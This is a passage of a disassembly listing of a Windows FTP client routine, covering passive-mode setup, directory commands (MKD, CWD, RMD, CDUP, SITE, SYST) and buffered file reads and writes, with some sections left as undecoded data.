ecx lea edx, [esp+114h+var_100] push offset dword_4474C8 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474C0 ; jumptable 0042E641 case 1 mov dl, byte_4474C4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474B8 ; jumptable 0042E641 case 2 mov cl, byte_4474BC mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474B0 ; jumptable 0042E641 case 3 mov al, byte_4474B4 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474A8 ; jumptable 0042E641 case 4 mov dl, byte_4474AC mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 14684D75h, 90004474h, 808419E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44753468h, 0E7E89000h, 83778083h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 44740468h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 4680A75h, 0E9004474h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 447204h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752C68h dd 5610EB00h, 9766E857h, 0C0850000h, 2468217Dh, 90004475h dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44750868h, 0EEE85200h, 9077810Dh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 4473FC68h dd 67E89000h, 83778082h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 0D851E800h, 8390777Fh, 0C53B04C4h dd 75144689h, 73FC682Ch, 0E8900044h, 77808226h, 5704C483h dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 0E8000001h, 777F0508h, 50008B90h, 843CE890h dd 0C4837780h, 44C68304h, 0C5E85650h, 9077818Ch, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447594BEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call near ptr 77C4186Ah nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0BC685752h, 90004475h dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx ; free add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0B9h, 0CEh dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447680 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476C0 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h call near ptr 77C1F2BCh nop mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42F7EA jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F813: ; CODE XREF: sub_42F6F0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" nop call near ptr 77C4186Ah add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42F883 ; --------------------------------------------------------------------------- loc_42F82D: ; CODE XREF: sub_42F6F0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_40226B add esp, 0Ch cmp eax, ebp jle short loc_42F883 mov 